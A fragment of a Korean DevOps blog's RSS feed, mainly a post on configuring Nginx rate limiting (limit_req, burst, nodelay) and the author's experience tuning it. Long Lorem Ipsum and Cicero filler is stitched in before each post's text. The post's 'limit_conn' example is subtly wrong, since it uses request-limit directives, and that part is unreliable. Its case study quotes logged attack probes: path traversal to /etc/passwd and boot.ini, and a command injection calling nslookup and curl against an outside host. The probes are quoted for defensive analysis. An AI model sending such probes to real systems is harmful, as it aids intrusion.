<ul class="wp-block-list"><li><a href="https://blog.wonizz.com/2020/08/24/kubernetes-autoscaling-hpa/">[Kubernetes] Autoscaling 사용하기</a></li><li><a href="https://blog.wonizz.com/2020/06/03/kubernetes-helm-chartmuseum/">[Kubernetes] Helm Chartmuseum 사용법</a></li><li><a href="https://blog.wonizz.com/2024/07/24/devops-kubernetes-hpa/">[DevOps] Kubernetes HPA 실전 적용</a></li><li><a href="https://blog.wonizz.com/2022/10/05/kubernetes-k8s-cronjob-monitoring/">[Kubernetes] K8S Cronjob Monitoring</a></li></ul>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2024/03/06/kubernetes-networkpolicy/">[Kubernetes] NetworkPolicy 적용</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2024/03/06/kubernetes-networkpolicy/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2201</post-id>	</item>
		<item>
		<title>[DevOps] Nginx Rate Limit</title>
		<link>https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/</link>
					<comments>https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Fri, 03 Nov 2023 08:29:21 +0000</pubDate>
				<category><![CDATA[kubernetes]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2093</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번 시간에는 Nginx를 통해 트래픽을 제어하기 위한 기능은 Rate Limit에 대해서 정리해보도록 하겠습니다. 필자가 Rate Limit 적용을 하면서 겪었던 사례도 함께 정리합니다. Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다. [DevOps] Nginx 컴파일 설치 [DevOps] ansible nginx config 배포 구성 [DevOps] Nginx Logrotation 설정 [DevOps] Nginx GeoIP 모듈 적용 [DevOps] Nginx Log&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈입니다. 이번 시간에는 Nginx를 통해 트래픽을 제어하기 위한 기능은 <code>Rate Limit</code>에 대해서 정리해보도록 하겠습니다. 필자가 Rate Limit 적용을 하면서 겪었던 사례도 함께 정리합니다.</p>
<p>Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.</p>
<ul>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/02/09/devops-nginx-compile-installation/">[DevOps] Nginx 컴파일 설치</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2022/07/11/devops-ansible-nginx-config-deploy/">[DevOps] ansible nginx config 배포 구성</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/10/linux-logrotate/">[DevOps] Nginx Logrotation 설정</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/08/17/devops-nginx-geoip-module/">[DevOps] Nginx GeoIP 모듈 적용</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a>
  </li>
<li><input style="margin-right:5px" type="checkbox" class="task-list-item-checkbox" checked disabled /><a class="wp-editor-md-post-content-link" href="https://blog.wonizz.com/2024/07/18/devops-nginx-lua-module/">[DevOps] Nginx Lua module 사용법</a>
  </li>
</ul>
<h2>1. Rate Limit 이란?</h2>
<blockquote><p>
  Incomming connection 혹은 requests 에 대한 rate을 제한하는 기능입니다.
</p></blockquote>
<p>예를들어 너무 많은 connection이 동시에 발생해 server에 부담을 가하는 경우, rate limit을 초과한 connection은 reject할 수 있습니다.</p>
<h3>Rate Limit을 사용하는 이유</h3>
<p>Rate Limit을 사용하는 이유는 다음과 같습니다.</p>
<ul>
<li>DDos공격에 의한 자원 고갈을 방지</li>
<li>서버 과부하 방지
<ul>
<li>Bot에서 오는 트래픽이나 사용자의 잘못된 이용 패턴으로 유발된 트래픽을 걸러내는데 활용</li>
<li>서버가 처리할 수 있는 요청의 임계 값을 넘어선 요청을 방지함으로써 서버의 안정성을 높이는 역할</li>
</ul>
</li>
</ul>
<h3>Rate Limit 알고리즘</h3>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/11/rate_limit_1.png?w=1200" alt="DevOps Nginx Rate Limit 설명 이미지 1" /></p>
<ul>
<li>토큰 버킷은 지정된 용량(버킷 크기)을 갖는 컨테이너로, 사전 설정된 양의 토큰(토큰 공급률)이 주기적으로 채워집니다.
<ul>
<li>각 요청은 처리될 떄 마다 하나의 토큰을 사용합니다.</li>
<li>요청이 들어오면 먼저 충분한 토큰이 있는지 검사한 후, 있는 경우 버킷에서 토큰 하나를 꺼낸 후 요청을 전달합니다.</li>
<li>만약 충분한 토큰이 없는 경우, 해당 요청은 버려집니다.</li>
</ul>
</li>
<li>장점
<ul>
<li>큐의 크기가 제한되어 있어, 메모리 사용 측며네서 효율적</li>
<li>고정된 처리율을 갖고 있어 안정적 출력이 필요한 경우 적합</li>
</ul>
</li>
<li>단점
<ul>
<li>단 시간에 트래픽이 몰려서 요청이 들어오면 쌓이게 되고 제때 처리하지 못하면 최신 요청들은 버려지게 됩니다.</li>
<li>버킷 크기의와 처리율을 튜닝하기 까다롭습니다.</li>
</ul>
</li>
</ul>
<h2>2. Nginx Rate Limit 설정</h2>
<p>Nginxdㅔ서는 Rate Limit을 2가지 방식으로 제공하고 있습니다.</p>
<ul>
<li>limit_req &#8211; 요청 제한
<pre><code class="line-numbers">#동일 아이피 당 Rate을 10r/s로 제한하겠다는 의미
limit_req_zone $binary_remote_addr zone=request_limit_per_ip:10m rate=10r/s;

server {
  location /login/ {
      limit_req zone=request_limit_per_ip burst=10 nodelay;

      proxy_pass http://my_upstream;
  }
}
</code></pre>
</li>
<li>limit_conn &#8211; 커녁션 제한
<pre><code class="line-numbers">#동시에 서버에 연결되는 커넥션 수로 10개로 제한하겠다는 의미
limit_req_zone $server_name zone=request_limit_per_server:10m;

server {
  location /login/ {
      limit_req zone=request_limit_per_server 10;

      proxy_pass http://my_upstream;
  }
}
</code></pre>
</li>
</ul>
<blockquote><p>
  Zone</p>
<ul>
<li>rate limit을 적용할 zone을 정의합니다.
<ul>
<li>$server_name(per serer)</li>
<li>$binary_remote_addr(per user)</li>
<li>$request_uri(per uri)</li>
</ul>
</li>
</ul>
<p>  zone size</p>
<ul>
<li>zone의 이름과 메모리에 저장할 zone의 사이즈 결정
<ul>
<li>zone=MYZONE:10m</li>
</ul>
</li>
</ul>
<p>  limit_req 정의</p>
<ul>
<li>rate=1r/s, rate=60r/m과 같이 frequency를 정의합니다.
<ul>
<li>예를들어 10r/s가 1초당 10개의 요청이 처리된다는 것이 아닙니다. <strong>0.1초에 1개의 요청을 처리할 수 있다는 의미</strong>입니다.</li>
</ul>
</li>
</ul>
</blockquote>
<h3>Burst Mode</h3>
<p>burst를 적용하면, rate limiting을 초과하는 connection을 즉시 reject하지 않고 wait하게 만들 수 있습니다. 일부 rate limit을 넘어 들어온 요청을 queue에 적재하고, rate limit 속도에 맞춰 pop 되어 실행합니다.</p>
<ul>
<li>속도가 제한된 엔드포인트에 10개의 병렬 요청 보내기
<ul>
<li>10개 요청 중 9개가 거부됩니다. 이는 <code>30r/m</code> 즉, 2초마다 새 요청이 허용된다는 의미입니다. 여기서는 10개의 요청이 동시에 도착했고, 그 중 하나는 허용되고 나머지 9개는 nginx에서 거부가 됩니다.</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/cdn-media-1.freecodecamp.org/images/1%2AbqER3OkNtH4MNWZTCjF4Zg.gif?w=1200&#038;ssl=1" alt="DevOps Nginx Rate Limit 설명 이미지 2" /></p>
</li>
<li>Burtmode를 통해 허용치 늘리기
<ul>
<li><code>burst=5</code> 를 통해서 버스트를 처리할 수 있도록 합니다. 기존에는 1/10에서 6/10개가 성공이 되도록 허용치를 늘렸습니다. ( 나머지는 거부 ) 그러나 여기서 주목해야될 것은 나머지 5개가 허용이 되었더라도 <code>30r/m</code> 즉, 2초마다 1개의 요청에 대해서 처리하도록 제한합니다.</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/cdn-media-1.freecodecamp.org/images/1%2AR9D2q4zmUdDQO2k0AvrOWA.gif?w=1200&#038;ssl=1" alt="DevOps Nginx Rate Limit 설명 이미지 3" /></p>
</li>
<li>Nodelay를 통해 burst mode된 나머지 요청도 지연없이 처리 하기
<ul>
<li><code>burst=5</code> 인경우와 처리되는 갯수는 동일합니다. 그러나 이제 처리 속도는 2초당 1개의 요청속도로 엄격하게 제한되지 않습니다.</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/cdn-media-1.freecodecamp.org/images/1%2AwVpU5zy5Yfg6c_lx2VIrAw.gif?w=1200&#038;ssl=1" alt="DevOps Nginx Rate Limit 설명 이미지 4" /></p>
</li>
</ul>
<h2>4. Nginx Rate Limit 사용 사례</h2>
<p>필자가 운여하는 서비스에서 공격성 트래픽이 다수 들어오는 케이스가 있었습니다. 서두에서도 설명했듯이 Rate Limit을 설정하는 이유는 외부의 비이상적 트래픽으로부터 서비스를 보호하고 안정성을 유지하기 위함입니다.</p>
<h3>Requested URI 분석</h3>
<ul>
<li>공격성 트래픽에 의한 Request 패턴을 분석하기로 했습니다.
<ul>
<li>다양하게 호출을 하면서 내부의 취약점을 찾으려는 내용들이 식별됐습니다.</li>
</ul>
<pre><code class="line-numbers">{request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\etc/passwd"}
{request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/./WEB-INF/web.xml?"}

GET /api/v1/games/������������������������������������������������������������etc��passwd
GET /api/v1/games/(nslookup-q=cnamehitufxhlvamalcfebb.bxss.me||curlhitufxhlvamalcfebb.bxss.me))
GET /api/v1/games/../../../../../../../../boot.ini
</code></pre>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/11/rate_limit_2.png?w=1200" alt="DevOps Nginx Rate Limit 설명 이미지 5" /></p>
</li>
<li>
<p>Rate Limit을 설정하기 위한 RPS 확인 (회고를 위한 기록)</p>
<ul>
<li>사실 해당 영역의 분석은 <code>잘못된</code> 내용입니다.</li>
<li>rate limit을 속도의 개념으로 생각해서 rps 분석을 통해서 적절한 값을 찾으려고했습니다. <- 이부분 부터가 잘못된 생각이였습니다.</li>
<li>아래의 그림을 통해서 rate limit 설정치 : 2 <= 제한값 <= 17 의 설정치를 계산했지만, 잘못된 내용이였습니다.</li>
<li>rate limit은 한개의 요청 이후 다음 요청이 들어올 떄까지의 속도이고 예를들어 `30r/m&#8220;은 2초안에 1개의 요청만 허용한다는 개념입니다.</li>
</ul>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/11/rate_limit_3.png?w=1200" alt="DevOps Nginx Rate Limit 설명 이미지 6" /></p>
<p><img data-recalc-dims="1" decoding="async" src="https://i0.wp.com/blog.wonizz.tk/wp-content/uploads/2023/11/rate_limit_4.png?w=1200" alt="DevOps Nginx Rate Limit 설명 이미지 7" /></p>
</li>
</ul>
<h3>다시 처음부터 분석</h3>
<ul>
<li>Rate Limit 산정을 위한 Request 분석
<ul>
<li>한개의 IP에 대해서 요청을 상세히 분석합니다. 하나의 요청으로부터 다음 요청까지의 시간 차이를 계산하여 대략적인 rate limit의 값을 계산했습니다. 여기서는 약 0.2초의 1개의 요청을 허용하도록 산정하여 <code>5r/s</code> 로 산정을 하게 됐습니다.</li>
</ul>
<pre><code class="line-numbers">- 2023-07-21 14:53:32.105 "GET / HTTP/2.0”
- 2023-07-21 14:53:32.361 "GET /robots.txt?1689918812080 HTTP/2.0”
- 2023-07-21 14:53:32.857 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
- 2023-07-21 14:53:33.358 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
- 2023-07-21 14:53:34.109 "GET /api/v1/drops/banners?size=10 HTTP/2.0”
- 2023-07-21 14:53:34.359 "GET /api/v1/games/title HTTP/2.0”
- 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
- 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F%5 HTTP/2.0"
</code></pre>
</li>
</ul>
<h3>설정 예시</h3>
<ul>
<li>실제로 설정한 예시
<pre><code class="line-numbers">#Back-end의 API에 대한 rate limit
limit_req_zone $whitelist zone=be_access_limit_per_ip:10m rate=10r/s;
...
location ~ ^/(api|pg-api)/ {
  limit_req zone=be_access_limit_per_ip burst=5 nodelay;
  limit_req_status 429;
  # limit_req_dry_run on;


#Front-end에 대한 rate limit
limit_req_zone $whitelist zone=fe_access_limit_per_ip:10m rate=10r/s;
...
location /  {
  limit_req zone=fe_access_limit_per_ip burst=5 nodelay;
  limit_req_status 429;
  # limit_req_dry_run on;

</code></pre>
</li>
</ul>
<h2>5. 마치며&#8230;</h2>
<p>이번 시간에는 nginx의 rate limit 기능을 알아보고, 실제로 적용해던 사례에 대해서 정리를 해보았습니다. 처음에는 단순하게 속도의 개념으로 알았는데 1개의 요청으로부터 다음 요청이 들어오는 사이의 시간을 조정하는것을 알게 됐습니다. 또한 burst mode를 통해서 동시다발적으로 요청이 들어올때도 제어해서 요청을 처리 할 수 있게 됐습니다. Nginx의 기능을 통해서 트래픽을 제어할 수 있게 되어 서비스에 많은 공헌을 하게 된것 같습니다.</p>
<h2>6. 참고</h2>
<p><a class="wp-editor-md-post-content-link" href="https://www.freecodecamp.org/news/nginx-rate-limiting-in-a-nutshell-128fe9e0126c/" target="_blank" rel="noopener">NGINX rate-limiting in a nutshell</a></p>
<p><a class="wp-editor-md-post-content-link" href="https://minholee93.tistory.com/entry/Nginx-Rate-Limiting" target="_blank" rel="noopener">[Nginx] Rate Limiting</a></p>
<p><a class="wp-editor-md-post-content-link" href="https://willseungh0.tistory.com/191" target="_blank" rel="noopener">[Nginx RateLimit] Nginx에 RateLimit 적용해보기</a></p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/">[DevOps] Nginx Rate Limit</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.wonizz.com/2023/11/03/devops-nginx-rate-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2093</post-id>	</item>
		<item>
		<title>[DevOps] Nginx Log Aggregation &#038; Dashboard</title>
		<link>https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/</link>
					<comments>https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/#respond</comments>
		
		<dc:creator><![CDATA[워니]]></dc:creator>
		<pubDate>Thu, 19 Oct 2023 11:14:40 +0000</pubDate>
				<category><![CDATA[kubernetes]]></category>
		<category><![CDATA[Tech]]></category>
		<guid isPermaLink="false">https://blog.wonizz.tk/?p=2074</guid>

					<description><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."</p>
<p>1914 translation by H. Rackham<br />
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."</p>
<p>안녕하세요? 정리하는 개발자 워니즈 입니다. 이번시간에는 loki와 promtail에 대해서 정리를 해보도록 하겠습니다. 필자는 프로메테우스와 그라파나를 사용하다보니, 자연스럽게 Loki라는 제품에 대해서 접할 수 있었습니다. 그리고 로그를 좀 더 쉽게 수집하고 표현할 수 있다는 점에서 바로 적용을 해보기로 했습니다. 본 포스팅은 Loki를 처음 접하거나 간단하게 사용해 볼 수 있는 내용으로 구성했습니다. Nginx에 관한 시리즈 포스팅은 아래에서 확인이&#8230;&#160;</p>
<p>The post <a rel="nofollow" href="https://blog.wonizz.com/2023/10/19/devops-nginx-log-aggregation-dashboard/">[DevOps] Nginx Log Aggregation &#038; Dashboard</a> appeared first on <a rel="nofollow" href="https://blog.wonizz.com">WONIZZ.LOG</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The standard Lorem Ipsum passage, used since the 1500s<br />
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."</p>
<p>Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"</p>
<p>1914 translation by H. Rackham<br />
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"</p>
<p>Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC<br />
